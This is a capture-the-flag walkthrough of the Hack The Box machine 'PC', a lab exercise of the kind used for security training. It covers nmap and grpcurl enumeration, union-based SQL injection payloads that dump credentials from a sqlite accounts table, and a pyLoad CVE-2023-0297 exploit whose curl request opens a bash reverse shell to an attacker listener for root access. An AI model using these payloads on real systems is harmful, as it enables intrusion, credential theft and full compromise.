HTB: PC¶
Enumerate¶
$ sudo nmap -sCV -Pn -p1-65535 $t
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-19 22:32 CST
Stats: 0:02:24 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 58.73% done; ETC: 22:37 (0:01:41 remaining)
Stats: 0:04:04 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 97.89% done; ETC: 22:37 (0:00:00 remaining)
Stats: 0:04:07 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.25% done; ETC: 22:37 (0:00:00 remaining)
Nmap scan report for 10.10.11.214
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 91:bf:44:ed:ea:1e:32:24:30:1f:53:2c:ea:71:e5:ef (RSA)
| 256 84:86:a6:e2:04:ab:df:f7:1d:45:6c:cf:39:58:09:de (ECDSA)
|_ 256 1a:a8:95:72:51:5e:8e:3c:f1:80:f5:42:fd:0a:28:1c (ED25519)
50051/tcp open unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port50051-TCP:V=7.94%I=7%D=9/19%Time=650A76E9%P=x86_64-pc-linux-gnu%r(N
SF:ULL,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\x0
SF:6\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(Generic
SF:Lines,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(GetRe
SF:quest,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(HTTPO
SF:ptions,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0
SF:\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(RTSP
SF:Request,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\
SF:0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(RPC
SF:Check,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(DNSVe
SF:rsionBindReqTCP,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\
SF:xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0
SF:")%r(DNSStatusRequestTCP,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0
SF:\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\
SF:0\0\?\0\0")%r(Help,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0
SF:\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\
SF:0\0")%r(SSLSessionReq,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x0
SF:5\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0
SF:\?\0\0")%r(TerminalServerCookie,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xf
SF:f\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0
SF:\0\0\0\0\0\?\0\0")%r(TLSSessionReq,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?
SF:\xff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x0
SF:8\0\0\0\0\0\0\?\0\0")%r(Kerberos,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\x
SF:ff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\
SF:0\0\0\0\0\0\?\0\0")%r(SMBProgNeg,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\x
SF:ff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\
SF:0\0\0\0\0\0\?\0\0")%r(X11Probe,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff
SF:\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\
SF:0\0\0\0\0\?\0\0");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 249.40 seconds
Port 50051 is the default gRPC port.
I can use grpcurl to access the service:
$ go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest
go: downloading github.com/fullstorydev/grpcurl v1.8.9
go: downloading google.golang.org/grpc v1.57.0
go: downloading github.com/jhump/protoreflect v1.15.3
[...]
$ which grpcurl
/home/e/go/bin/grpcurl
$ grpcurl -plaintext $t:50051 list
SimpleApp
grpc.reflection.v1alpha.ServerReflection
$ grpcurl -plaintext $t:50051 describe SimpleApp
SimpleApp is a service:
service SimpleApp {
rpc LoginUser ( .LoginUserRequest ) returns ( .LoginUserResponse );
rpc RegisterUser ( .RegisterUserRequest ) returns ( .RegisterUserResponse );
rpc getInfo ( .getInfoRequest ) returns ( .getInfoResponse );
}
$ grpcurl -plaintext -d '{"username":"foobar", "password":"foobar"}' $t:50051 SimpleApp.RegisterUser
{
"message": "Account created for user foobar!"
}
$ grpcurl -plaintext -d '{"username":"foobar", "password":"foobar"}' $t:50051 SimpleApp.LoginUser
{
"message": "Your id is 892."
}
$ grpcurl -plaintext -d '{"id":"892"}' $t:50051 SimpleApp.getInfo
{
"message": "Authorization Error.Missing 'token' header"
}
The -v
flag is required for grpcurl
in order to get the authorization token:
$ grpcurl -v -plaintext -d '{"username":"admin", "password":"admin"}' $t:50051 SimpleApp.LoginUser
Resolved method descriptor:
rpc LoginUser ( .LoginUserRequest ) returns ( .LoginUserResponse );
Request metadata to send:
(empty)
Response headers received:
content-type: application/grpc
grpc-accept-encoding: identity, deflate, gzip
Response contents:
{
"message": "Your id is 45."
}
Response trailers received:
token: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2OTk5MTEwOTd9.Jjn5E_NhnueHtZGArpgMaYxj5nP_1TA2GgT_iREv-HA'
Sent 1 request and received 1 response
But the getInfo
method throws an error:
$ grpcurl -plaintext -H "token: $token" -d '{"id":"564"}' ${t}:50051 SimpleApp.getInfo
ERROR:
Code: Unknown
Message: Unexpected <class 'TypeError'>: 'NoneType' object is not subscriptable
^ rc=66
Exploit¶
The getInfo
method is vulnerable to a SQLi via the id
parameter. I'm able to confirm the database is sqlite
:
$ grpcurl -plaintext -H "token: $token" -d '{"id":"0 union select sqlite_version()--"}' ${t}:50051 SimpleApp.getInfo
{
"message": "3.31.1"
}
$ grpcurl -plaintext -H "token: $token" -d '{"id":"0 union select password from accounts;"}' ${t}:50051 SimpleApp.getInfo
{
"message": "HereIs[...]"
}
$ grpcurl -plaintext -H "token: $token" -d '{"id":"0 union select name from sqlite_master where type=\"table\";"}' ${t}:50051 SimpleApp.getInfo{
"message": "accounts"
}
$ grpcurl -plaintext -H "token: $token" -d '{"id":"0 union select group_concat(name, \",\") from pragma_table_info(\"accounts\");"}' ${t}:50051 SimpleApp.getInfo
{
"message": "username,password"
}
$ grpcurl -plaintext -H "token: $token" -d '{"id":"0 union select group_concat(username || password) from accounts;"}' ${t}:50051 SimpleApp.getInfo
{
"message": "adminadmin,sauHereIs[...]"
}
$ ssh sau@${t}
sau@10.10.11.214's password:
Last login: Tue Sep 26 22:27:18 2023 from 10.10.14.13
sau@pc:~$ cat user.txt
44d6f9[...]
sau@pc:~$
Escalate¶
I check if there's anything listening on localhost
:
sau@pc:~$ ss -tlpn
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 5 127.0.0.1:8000 0.0.0.0:*
LISTEN 0 128 0.0.0.0:9666 0.0.0.0:*
LISTEN 0 128 [::]:22 [::]:*
LISTEN 0 4096 *:50051 *:*
sau@pc:~$
Port 8000 looks interesting. I set up an ssh
port forwarding and check it out. It's running PyLoad:
On the target I can see which use it's running as (root
) and find out the version.
sau@pc:~$ ps faxuww |grep pyload
root 1052 0.0 1.7 1226704 69536 ? Ssl 18:37 0:06 /usr/bin/python3 /usr/local/bin/pyload
sau 1986 0.0 0.0 6676 720 pts/0 S+ 20:40 0:00 \_ grep --color=auto pyload
sau@pc:~$ pyload --version
pyLoad 0.5.0
This version of pyload
has a preauth RCE, and in this case the service is running with root
privileges.
$ wget https://raw.githubusercontent.com/overgrowncarrot1/CVE-2023-0297/main/CVE-2023-0297.sh
[...]
2023-11-13 14:44:44 (11.4 MB/s) - ‘CVE-2023-0297.sh’ saved [2472/2472]
$ chmod +x CVE-2023-0297.sh
$ ./CVE-2023-0297.sh -l 10.10.16.5 -p 443 -w http://localhost:8000
_____ _____ _____ ________ ___ _____ ___ ______
| _ | __ \/ __ \ | ___ \ \ / / | | _ |/ _ \| _ \
| | | | | \/| / \/ | |_/ /\ V /| | | | | / /_\ \ | | |
| | | | | __ | | | __/ \ / | | | | | | _ | | | |
\ \_/ / |_\ \| \__/\ | | | | | |___\ \_/ / | | | |/ /
\___/ \____/ \____/ \_| \_/ \_____/\___/\_| |_/___/
Run nc -lvnp 443, press enter to continue
+ curl -i -s -k -X POST --data-binary 'jk=pyimport%20os;os.system("bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.5%2F443%200%3E%261%27");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' http://localhost:8000/flash/addcrypted2
On the listener:
$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.214] 36646
bash: cannot set terminal process group (1052): Inappropriate ioctl for device
bash: no job control in this shell
root@pc:~/.pyload/data# cat /root/root.txt
cat /root/root.txt
88473f[...]
Summary¶
The gRPC service allows registering users, although "admin:admin" also works. Check for a token header in the response, and send then to the .getInfo
method.
With the correct token, the response will contain a Python error based on the id
field. This allows a sqlite3 injection to dump the accounts
database. There's a user named sau
with a password HereIs[…]
.
With access to services listening on localhost
(ssh
tunneling) a service called Pyload is accessible. It has a preauth RCE allowing code to execute as root
.